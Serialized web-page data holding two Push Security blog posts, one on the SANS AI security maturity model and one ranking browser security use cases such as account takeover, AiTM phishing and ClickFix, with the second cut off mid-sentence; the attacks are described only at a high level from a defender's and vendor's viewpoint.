",{"data":16685,"content":16686,"nodeType":795},{"uri":2388},[16687],{"data":16688,"marks":16689,"value":16690,"nodeType":503},{},[],"563% increase in ClickFix lures",{"data":16692,"marks":16693,"value":16694,"nodeType":503},{},[]," — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.",{"data":16696,"content":16697,"nodeType":785},{},[16698],{"data":16699,"content":16700,"nodeType":670},{},[16701,16705,16712],{"data":16702,"marks":16703,"value":16704,"nodeType":503},{},[],"Push has tracked a ",{"data":16706,"content":16707,"nodeType":795},{"uri":3490},[16708],{"data":16709,"marks":16710,"value":16711,"nodeType":503},{},[],"37x increase in device code phishing",{"data":16713,"marks":16714,"value":16715,"nodeType":503},{},[]," since the start of 2026, with 18+ distinct kits now offering the technique.",{"data":16717,"content":16718,"nodeType":785},{},[16719],{"data":16720,"content":16721,"nodeType":670},{},[16722,16725,16734,16738,16743,16747,16752],{"data":16723,"marks":16724,"value":21,"nodeType":503},{},[],{"data":16726,"content":16728,"nodeType":795},{"uri":16727},"https:\u002F\u002Fwww.anthropic.com\u002Fnews\u002FAI-enabled-cyber-threats-mitre-attack",[16729],{"data":16730,"marks":16731,"value":16733,"nodeType":503},{},[16732],{"type":803},"Anthropic",{"data":16735,"marks":16736,"value":16737,"nodeType":503},{},[]," identified ",{"data":16739,"marks":16740,"value":16742,"nodeType":503},{},[16741],{"type":667},"793 threat actors using AI",{"data":16744,"marks":16745,"value":16746,"nodeType":503},{},[]," for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that ",{"data":16748,"marks":16749,"value":16751,"nodeType":503},{},[16750],{"type":667},"44% of AI-assisted initial access was phishing-related",{"data":16753,"marks":16754,"value":2577,"nodeType":503},{},[],{"data":16756,"content":16757,"nodeType":670},{},[16758],{"data":16759,"marks":16760,"value":16761,"nodeType":503},{},[],"Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can't see.",{"data":16763,"content":16764,"nodeType":670},{},[16765],{"data":16766,"marks":16767,"value":16768,"nodeType":503},{},[],"The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.",{"data":16770,"content":16771,"nodeType":730},{},[],{"data":16773,"content":16774,"nodeType":734},{},[16775],{"data":16776,"marks":16777,"value":16779,"nodeType":503},{},[16778],{"type":667},"Why governance alone can't close the gap",{"data":16781,"content":16782,"nodeType":670},{},[16783,16787,16792],{"data":16784,"marks":16785,"value":16786,"nodeType":503},{},[],"An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and ",{"data":16788,"marks":16789,"value":16791,"nodeType":503},{},[16790],{"type":2144},"still",{"data":16793,"marks":16794,"value":16795,"nodeType":503},{},[]," be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn't stop the attack. The policy existed but the detection (and ideally, mitigation) didn't.",{"data":16797,"content":16798,"nodeType":670},{},[16799],{"data":16800,"marks":16801,"value":16802,"nodeType":503},{},[],"The reverse is equally true, and it's why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. ",{"data":16804,"content":16805,"nodeType":670},{},[16806],{"data":16807,"marks":16808,"value":16809,"nodeType":503},{},[],"Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. ",{"data":16811,"content":16812,"nodeType":670},{},[16813],{"data":16814,"marks":16815,"value":16817,"nodeType":503},{},[16816],{"type":667},"Closing the gap requires a control point where both problems are visible and addressable.",{"data":16819,"content":16820,"nodeType":730},{},[],{"data":16822,"content":16823,"nodeType":660},{},[16824],{"data":16825,"marks":16826,"value":16828,"nodeType":503},{},[16827],{"type":667},"Crossing the chasm requires addressing both pillars at once",{"data":16830,"content":16831,"nodeType":670},{},[16832,16836,16843],{"data":16833,"marks":16834,"value":16835,"nodeType":503},{},[],"The bottleneck for most security programs ",{"data":16837,"content":16838,"nodeType":795},{"uri":16659},[16839],{"data":16840,"marks":16841,"value":16842,"nodeType":503},{},[],"isn't frameworks or strategy — it's data quality",{"data":16844,"marks":16845,"value":16846,"nodeType":503},{},[],". For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.",{"data":16848,"content":16849,"nodeType":670},{},[16850],{"data":16851,"marks":16852,"value":16853,"nodeType":503},{},[],"AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.",{"data":16855,"content":16856,"nodeType":670},{},[16857],{"data":16858,"marks":16859,"value":16860,"nodeType":503},{},[],"For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:",{"data":16862,"content":16863,"nodeType":781},{},[16864,16874,16884],{"data":16865,"content":16866,"nodeType":785},{},[16867],{"data":16868,"content":16869,"nodeType":670},{},[16870],{"data":16871,"marks":16872,"value":16873,"nodeType":503},{},[],"which AI apps are in use (including personal account usage)",{"data":16875,"content":16876,"nodeType":785},{},[16877],{"data":16878,"content":16879,"nodeType":670},{},[16880],{"data":16881,"marks":16882,"value":16883,"nodeType":503},{},[],"what data is moving into them (file uploads, clipboard activity)",{"data":16885,"content":16886,"nodeType":785},{},[16887],{"data":16888,"content":16889,"nodeType":670},{},[16890],{"data":16891,"marks":16892,"value":16893,"nodeType":503},{},[],"graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow\u002Fdeny",{"data":16895,"content":16896,"nodeType":670},{},[16897],{"data":16898,"marks":16899,"value":16900,"nodeType":503},{},[],"The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.",{"data":16902,"content":16903,"nodeType":670},{},[16904],{"data":16905,"marks":16906,"value":16907,"nodeType":503},{},[],"We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.",{"data":16909,"content":16910,"nodeType":730},{},[],{"data":16912,"content":16913,"nodeType":660},{},[16914],{"data":16915,"marks":16916,"value":16918,"nodeType":503},{},[16917],{"type":667},"Where to start: 5 steps to maturity with Push",{"data":16920,"content":16921,"nodeType":670},{},[16922],{"data":16923,"marks":16924,"value":16925,"nodeType":503},{},[],"The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here's the starting plan that I'd recommend, and Push can provide the tooling to automate these steps:",{"data":16927,"content":16928,"nodeType":670},{},[16929,16934],{"data":16930,"marks":16931,"value":16933,"nodeType":503},{},[16932],{"type":667},"1. Build an AI inventory automatically.",{"data":16935,"marks":16936,"value":16937,"nodeType":503},{},[]," Every stage transition in the SANS model starts with knowing what's in your environment. A manual survey won't cut it; employees won't self-report the tools they're not sure they're allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.",{"data":16939,"content":16943,"nodeType":714},{"target":16940},{"sys":16941},{"id":16942,"type":719,"linkType":720},"2t3u0NydllImv6NzvAY058",[],{"data":16945,"content":16946,"nodeType":670},{},[16947,16952],{"data":16948,"marks":16949,"value":16951,"nodeType":503},{},[16950],{"type":667},"2. Classify what you find.",{"data":16953,"marks":16954,"value":16955,"nodeType":503},{},[]," Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can't write an effective AI policy without knowing where sensitive data lives.",{"data":16957,"content":16958,"nodeType":670},{},[16959,16964],{"data":16960,"marks":16961,"value":16963,"nodeType":503},{},[16962],{"type":667},"3. Turn on browser-layer detection.",{"data":16965,"marks":16966,"value":16967,"nodeType":503},{},[]," This is the step most organizations skip, and it's why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there's no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.",{"data":16969,"content":16973,"nodeType":714},{"target":16970},{"sys":16971},{"id":16972,"type":719,"linkType":720},"1fzuGjA6VSbVl1p7vM1mt7",[],{"data":16975,"content":16976,"nodeType":670},{},[16977,16982],{"data":16978,"marks":16979,"value":16981,"nodeType":503},{},[16980],{"type":667},"4. Move from blocking to graduated controls.",{"data":16983,"marks":16984,"value":16985,"nodeType":503},{},[]," The Framework of No fails because it's binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what's happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.",{"data":16987,"content":16988,"nodeType":670},{},[16989,16994,16998,17004],{"data":16990,"marks":16991,"value":16993,"nodeType":503},{},[16992],{"type":667},"5. Assess yourself honestly against evidence, not aspiration.",{"data":16995,"marks":16996,"value":16997,"nodeType":503},{},[]," The ",{"data":16999,"content":17000,"nodeType":795},{"uri":16302},[17001],{"data":17002,"marks":17003,"value":8120,"nodeType":503},{},[],{"data":17005,"marks":17006,"value":17007,"nodeType":503},{},[]," includes a self-assessment and industry-specific weighting profiles. The value isn't in the score, but in identifying which pillar is keeping you from advancing.",{"data":17009,"content":17010,"nodeType":670},{},[17011],{"data":17012,"marks":17013,"value":17014,"nodeType":503},{},[],"The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn't one problem with one solution. It's two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.",{"data":17016,"content":17017,"nodeType":730},{},[],{"data":17019,"content":17020,"nodeType":660},{},[17021],{"data":17022,"marks":17023,"value":13714,"nodeType":503},{},[17024],{"type":667},{"data":17026,"content":17027,"nodeType":670},{},[17028],{"data":17029,"marks":17030,"value":17031,"nodeType":503},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":17033,"content":17034,"nodeType":670},{},[17035],{"data":17036,"marks":17037,"value":2974,"nodeType":503},{},[],{"data":17039,"content":17040,"nodeType":670},{},[17041,17044,17051],{"data":17042,"marks":17043,"value":16162,"nodeType":503},{},[],{"data":17045,"content":17046,"nodeType":795},{"uri":2986},[17047],{"data":17048,"marks":17049,"value":16170,"nodeType":503},{},[17050],{"type":803},{"data":17052,"marks":17053,"value":16174,"nodeType":503},{},[],"Crossing the AI security chasm with the SANS AI security maturity model","Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress - and what it actually takes to get unstuck.","2026-06-24T00:00:00.000Z","crossing-the-ai-security-chasm-sans-security-maturity-model",{"items":17059},[17060,17062],{"sys":17061,"name":8806},{"id":16187},{"sys":17063,"name":16184},{"id":16183},{"items":17065},[17066],{"fullName":17067,"firstName":17068,"jobTitle":17069,"profilePicture":17070},"Mark Orlando","Mark","Field CTO",{"url":17071},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F592PMwIQQFaa24k5SKBEKF\u002Fa33090d0ad95d1e3081f5d16a46ba826\u002Fimage__68_.png",{"__typename":2126,"sys":17073,"content":17075,"title":18300,"synopsis":18301,"hashTags":60,"publishedDate":18302,"slug":18303,"tagsCollection":18304,"authorsCollection":18310},{"id":17074},"6MoHWfQlVildcFYKSbfMcE",{"json":17076},{"data":17077,"content":17078,"nodeType":656},{},[17079,17095,17101,17108,17115,17121,17124,17132,17140,17159,17203,17209,17224,17227,17235,17242,17270,17311,17318,17321,17329,17337,17344,17350,17357,17360,17368,17375,17417,17453,17460,17463,17471,17478,17503,17510,17552,17559,17562,17570,17578,17623,17630,17636,17639,17647,17655,17687,17694,17700,17707,17710,17718,17726,17755,17762,17769,17776,17779,17787,17795,17802,17808,17815,17838,17867,17870,17878,17886,17893,17900,17903,17911,17973,17976,17984,17991,18281,18284],{"data":17080,"content":17081,"nodeType":670},{},[17082,17086,17091],{"data":17083,"marks":17084,"value":17085,"nodeType":503},{},[],"Browser security solutions are one of the most significant additions to the enterprise security stack in recent years — and the data shows it. The browser is where ",{"data":17087,"marks":17088,"value":17090,"nodeType":503},{},[17089],{"type":667},"85% of work now happens",{"data":17092,"marks":17093,"value":17094,"nodeType":503},{},[],", where AI tools are accessed, and where attackers increasingly choose to strike.",{"data":17096,"content":17100,"nodeType":714},{"target":17097},{"sys":17098},{"id":17099,"type":719,"linkType":720},"5P6PyFbn4EakRNlIWtNzyL",[],{"data":17102,"content":17103,"nodeType":670},{},[17104],{"data":17105,"marks":17106,"value":17107,"nodeType":503},{},[],"But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn't straightforward. Current solutions on the market serve a wide range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.",{"data":17109,"content":17110,"nodeType":670},{},[17111],{"data":17112,"marks":17113,"value":17114,"nodeType":503},{},[],"This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem. ",{"data":17116,"content":17120,"nodeType":714},{"target":17117},{"sys":17118},{"id":17119,"type":719,"linkType":720},"6SJPvEHizSYk29lEvVVNj",[],{"data":17122,"content":17123,"nodeType":730},{},[],{"data":17125,"content":17126,"nodeType":660},{},[17127],{"data":17128,"marks":17129,"value":17131,"nodeType":503},{},[17130],{"type":667},"#1 — Account takeover prevention: detecting credential attacks across all vectors",{"data":17133,"content":17134,"nodeType":670},{},[17135],{"data":17136,"marks":17137,"value":17139,"nodeType":503},{},[17138],{"type":667},"Security value: Very high | Browser fit: Uniquely suited",{"data":17141,"content":17142,"nodeType":670},{},[17143,17147,17155],{"data":17144,"marks":17145,"value":17146,"nodeType":503},{},[],"Account takeover (ATO) is the dominant entry point for enterprise breaches: ",{"data":17148,"content":17150,"nodeType":795},{"uri":17149},"https:\u002F\u002Fwww.crowdstrike.com\u002Fen-gb\u002Fresources\u002Finfographics\u002Fidentity-security-risk-review\u002F",[17151],{"data":17152,"marks":17153,"value":17154,"nodeType":503},{},[],"80% of all modern breaches involve compromised or stolen identities",{"data":17156,"marks":17157,"value":17158,"nodeType":503},{},[],". The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.",{"data":17160,"content":17161,"nodeType":670},{},[17162,17166,17172,17175,17179,17182,17187,17191,17199],{"data":17163,"marks":17164,"value":17165,"nodeType":503},{},[],"According to ",{"data":17167,"content":17168,"nodeType":795},{"uri":2815},[17169],{"data":17170,"marks":17171,"value":2818,"nodeType":503},{},[],{"data":17173,"marks":17174,"value":3571,"nodeType":503},{},[],{"data":17176,"marks":17177,"value":2826,"nodeType":503},{},[17178],{"type":667},{"data":17180,"marks":17181,"value":11067,"nodeType":503},{},[],{"data":17183,"marks":17184,"value":17186,"nodeType":503},{},[17185],{"type":667},"94% of all login attempts originate from bots",{"data":17188,"marks":17189,"value":17190,"nodeType":503},{},[],". The ",{"data":17192,"content":17194,"nodeType":795},{"uri":17193},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fsnowflake-retro\u002F",[17195],{"data":17196,"marks":17197,"value":17198,"nodeType":503},{},[],"Snowflake breach",{"data":17200,"marks":17201,"value":17202,"nodeType":503},{},[]," — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It's particularly telling that 80% of the accounts impacted had prior breach exposure.",{"data":17204,"content":17208,"nodeType":714},{"target":17205},{"sys":17206},{"id":17207,"type":719,"linkType":720},"HbZ66kp5DiAZtwNGFJK7d",[],{"data":17210,"content":17211,"nodeType":670},{},[17212,17216,17221],{"data":17213,"marks":17214,"value":17215,"nodeType":503},{},[],"For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can't be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, ",{"data":17217,"marks":17218,"value":17220,"nodeType":503},{},[17219],{"type":667},"46% of infostealer infections originate",{"data":17222,"marks":17223,"value":2577,"nodeType":503},{},[],{"data":17225,"content":17226,"nodeType":730},{},[],{"data":17228,"content":17229,"nodeType":660},{},[17230],{"data":17231,"marks":17232,"value":17234,"nodeType":503},{},[17233],{"type":667},"#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures",{"data":17236,"content":17237,"nodeType":670},{},[17238],{"data":17239,"marks":17240,"value":17139,"nodeType":503},{},[17241],{"type":667},{"data":17243,"content":17244,"nodeType":670},{},[17245,17249,17257,17261,17266],{"data":17246,"marks":17247,"value":17248,"nodeType":503},{},[],"Adversary-in-the-Middle (AiTM) phishing — where an attacker's reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. ",{"data":17250,"content":17252,"nodeType":795},{"uri":17251},"https:\u002F\u002Fwww.esentire.com\u002Fresources\u002Flibrary\u002F2026-threat-report",[17253],{"data":17254,"marks":17255,"value":17256,"nodeType":503},{},[],"eSentire's 2026 Threat Report",{"data":17258,"marks":17259,"value":17260,"nodeType":503},{},[]," attributes ",{"data":17262,"marks":17263,"value":17265,"nodeType":503},{},[17264],{"type":667},"63% of account compromise incidents to PhaaS kits",{"data":17267,"marks":17268,"value":17269,"nodeType":503},{},[],", with account compromise surging 389% year-over-year.",{"data":17271,"content":17272,"nodeType":670},{},[17273,17277,17285,17289,17294,17298,17307],{"data":17274,"marks":17275,"value":17276,"nodeType":503},{},[],"Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: ",{"data":17278,"content":17280,"nodeType":795},{"uri":17279},"https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fm-trends-2026",[17281],{"data":17282,"marks":17283,"value":17284,"nodeType":503},{},[],"Mandiant M-Trends 2026",{"data":17286,"marks":17287,"value":17288,"nodeType":503},{},[]," found email phishing dropped from 14% to 6% as an infection vector, and Push data shows ",{"data":17290,"marks":17291,"value":17293,"nodeType":503},{},[17292],{"type":667},"roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely",{"data":17295,"marks":17296,"value":17297,"nodeType":503},{},[]," — via search engine malvertising, social platforms, and compromised websites. Meanwhile, ",{"data":17299,"content":17301,"nodeType":795},{"uri":17300},"https:\u002F\u002Fwww.spamhaus.com\u002Fresource-center\u002Fsupporting-researchers-with-passive-dns\u002F",[17302],{"data":17303,"marks":17304,"value":17306,"nodeType":503},{},[17305],{"type":667},"89% of phishing domains are active for less than two days",{"data":17308,"marks":17309,"value":17310,"nodeType":503},{},[],", making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.",{"data":17312,"content":17313,"nodeType":670},{},[17314],{"data":17315,"marks":17316,"value":17317,"nodeType":503},{},[],"Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.",{"data":17319,"content":17320,"nodeType":730},{},[],{"data":17322,"content":17323,"nodeType":660},{},[17324],{"data":17325,"marks":17326,"value":17328,"nodeType":503},{},[17327],{"type":667},"#3 — Identity posture hardening: enforcing security across the apps your IdP doesn't manage",{"data":17330,"content":17331,"nodeType":670},{},[17332],{"data":17333,"marks":17334,"value":17336,"nodeType":503},{},[17335],{"type":667},"Security value: High | Browser fit: Uniquely suited",{"data":17338,"content":17339,"nodeType":670},{},[17340],{"data":17341,"marks":17342,"value":17343,"nodeType":503},{},[],"The first challenge is knowing what you're protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it's created or used — authentication method, password strength, MFA status, and all.",{"data":17345,"content":17349,"nodeType":714},{"target":17346},{"sys":17347},{"id":17348,"type":719,"linkType":720},"HETvBCPsKGkqLVtaasXH0",[],{"data":17351,"content":17352,"nodeType":670},{},[17353],{"data":17354,"marks":17355,"value":17356,"nodeType":503},{},[],"But discovery without enforcement is just an inventory problem. Being in the browser means that you're in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.",{"data":17358,"content":17359,"nodeType":730},{},[],{"data":17361,"content":17362,"nodeType":660},{},[17363],{"data":17364,"marks":17365,"value":17367,"nodeType":503},{},[17366],{"type":667},"#4 — Browser extension security",{"data":17369,"content":17370,"nodeType":670},{},[17371],{"data":17372,"marks":17373,"value":17336,"nodeType":503},{},[17374],{"type":667},{"data":17376,"content":17377,"nodeType":670},{},[17378,17382,17391,17394,17402,17405,17413],{"data":17379,"marks":17380,"value":17381,"nodeType":503},{},[],"Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (",{"data":17383,"content":17385,"nodeType":795},{"uri":17384},"https:\u002F\u002Fwww.cyberhaven.com\u002Fblog\u002Fcyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it",[17386],{"data":17387,"marks":17388,"value":17390,"nodeType":503},{},[17389],{"type":803},"Cyberhaven",{"data":17392,"marks":17393,"value":3571,"nodeType":503},{},[],{"data":17395,"content":17397,"nodeType":795},{"uri":17396},"https:\u002F\u002Fthehackernews.com\u002F2025\u002F12\u002Fdarkspectre-browser-extension-campaigns.html",[17398],{"data":17399,"marks":17400,"value":17401,"nodeType":503},{},[],"DarkSpectre",{"data":17403,"marks":17404,"value":3571,"nodeType":503},{},[],{"data":17406,"content":17408,"nodeType":795},{"uri":17407},"https:\u002F\u002Fthehackernews.com\u002F2025\u002F12\u002Ftrust-wallet-chrome-extension-hack.html",[17409],{"data":17410,"marks":17411,"value":17412,"nodeType":503},{},[],"Trust Wallet",{"data":17414,"marks":17415,"value":17416,"nodeType":503},{},[],", among many others).",{"data":17418,"content":17419,"nodeType":670},{},[17420,17423,17431,17435,17440,17444,17449],{"data":17421,"marks":17422,"value":21,"nodeType":503},{},[],{"data":17424,"content":17425,"nodeType":795},{"uri":2680},[17426],{"data":17427,"marks":17428,"value":17430,"nodeType":503},{},[17429],{"type":803},"Analysis of 20,000+ extensions across Push customers",{"data":17432,"marks":17433,"value":17434,"nodeType":503},{},[]," found ",{"data":17436,"marks":17437,"value":17439,"nodeType":503},{},[17438],{"type":667},"46.76% have the permission combinations needed to perform account takeover with no user interaction",{"data":17441,"marks":17442,"value":17443,"nodeType":503},{},[],", making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it's legitimate extensions that ",{"data":17445,"marks":17446,"value":17448,"nodeType":503},{},[17447],{"type":2144},"become",{"data":17450,"marks":17451,"value":17452,"nodeType":503},{},[]," malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.",{"data":17454,"content":17455,"nodeType":670},{},[17456],{"data":17457,"marks":17458,"value":17459,"nodeType":503},{},[],"SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.",{"data":17461,"content":17462,"nodeType":730},{},[],{"data":17464,"content":17465,"nodeType":660},{},[17466],{"data":17467,"marks":17468,"value":17470,"nodeType":503},{},[17469],{"type":667},"#5 — Shadow SaaS discovery and OAuth integration governance",{"data":17472,"content":17473,"nodeType":670},{},[17474],{"data":17475,"marks":17476,"value":17336,"nodeType":503},{},[17477],{"type":667},{"data":17479,"content":17480,"nodeType":670},{},[17481,17485,17490,17494,17499],{"data":17482,"marks":17483,"value":17484,"nodeType":503},{},[],"Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening ",{"data":17486,"marks":17487,"value":17489,"nodeType":503},{},[17488],{"type":2144},"how",{"data":17491,"marks":17492,"value":17493,"nodeType":503},{},[]," employees authenticate, shadow SaaS discovery focuses on ",{"data":17495,"marks":17496,"value":17498,"nodeType":503},{},[17497],{"type":2144},"what",{"data":17500,"marks":17501,"value":17502,"nodeType":503},{},[]," they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.",{"data":17504,"content":17505,"nodeType":670},{},[17506],{"data":17507,"marks":17508,"value":17509,"nodeType":503},{},[],"OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.",{"data":17511,"content":17512,"nodeType":781},{},[17513,17533],{"data":17514,"content":17515,"nodeType":785},{},[17516],{"data":17517,"content":17518,"nodeType":670},{},[17519,17522,17529],{"data":17520,"marks":17521,"value":1390,"nodeType":503},{},[],{"data":17523,"content":17525,"nodeType":795},{"uri":17524},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fanalyzing-the-instructure-breach\u002F",[17526],{"data":17527,"marks":17528,"value":7436,"nodeType":503},{},[],{"data":17530,"marks":17531,"value":17532,"nodeType":503},{},[]," Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn't stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.",{"data":17534,"content":17535,"nodeType":785},{},[17536],{"data":17537,"content":17538,"nodeType":670},{},[17539,17542,17548],{"data":17540,"marks":17541,"value":1390,"nodeType":503},{},[],{"data":17543,"content":17544,"nodeType":795},{"uri":3944},[17545],{"data":17546,"marks":17547,"value":3949,"nodeType":503},{},[],{"data":17549,"marks":17550,"value":17551,"nodeType":503},{},[]," chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.",{"data":17553,"content":17554,"nodeType":670},{},[17555],{"data":17556,"marks":17557,"value":17558,"nodeType":503},{},[],"Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user's approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.",{"data":17560,"content":17561,"nodeType":730},{},[],{"data":17563,"content":17564,"nodeType":660},{},[17565],{"data":17566,"marks":17567,"value":17569,"nodeType":503},{},[17568],{"type":667},"#6 — Blocking ClickFix and social engineering-based malware delivery",{"data":17571,"content":17572,"nodeType":670},{},[17573],{"data":17574,"marks":17575,"value":17577,"nodeType":503},{},[17576],{"type":667},"Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.",{"data":17579,"content":17580,"nodeType":670},{},[17581,17585,17590,17594,17601,17605,17610,17614,17619],{"data":17582,"marks":17583,"value":17584,"nodeType":503},{},[],"ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for ",{"data":17586,"marks":17587,"value":17589,"nodeType":503},{},[17588],{"type":667},"47% of observed attacks",{"data":17591,"marks":17592,"value":17593,"nodeType":503},{},[],". CrowdStrike's ",{"data":17595,"content":17596,"nodeType":795},{"uri":2388},[17597],{"data":17598,"marks":17599,"value":17600,"nodeType":503},{},[],"2026 Global Threat Report",{"data":17602,"marks":17603,"value":17604,"nodeType":503},{},[]," identified fake CAPTCHA lures as the most common malware download type, increasing ",{"data":17606,"marks":17607,"value":17609,"nodeType":503},{},[17608],{"type":667},"563% year-over-year",{"data":17611,"marks":17612,"value":17613,"nodeType":503},{},[],". The technique writes a malicious command to the victim's clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and ",{"data":17615,"marks":17616,"value":17618,"nodeType":503},{},[17617],{"type":667},"4 in 5 ClickFix payloads intercepted by Push arrived via search engines",{"data":17620,"marks":17621,"value":17622,"nodeType":503},{},[]," — not email (bypassing email anti-phishing controls).",{"data":17624,"content":17625,"nodeType":670},{},[17626],{"data":17627,"marks":17628,"value":17629,"nodeType":503},{},[],"The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn't end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical 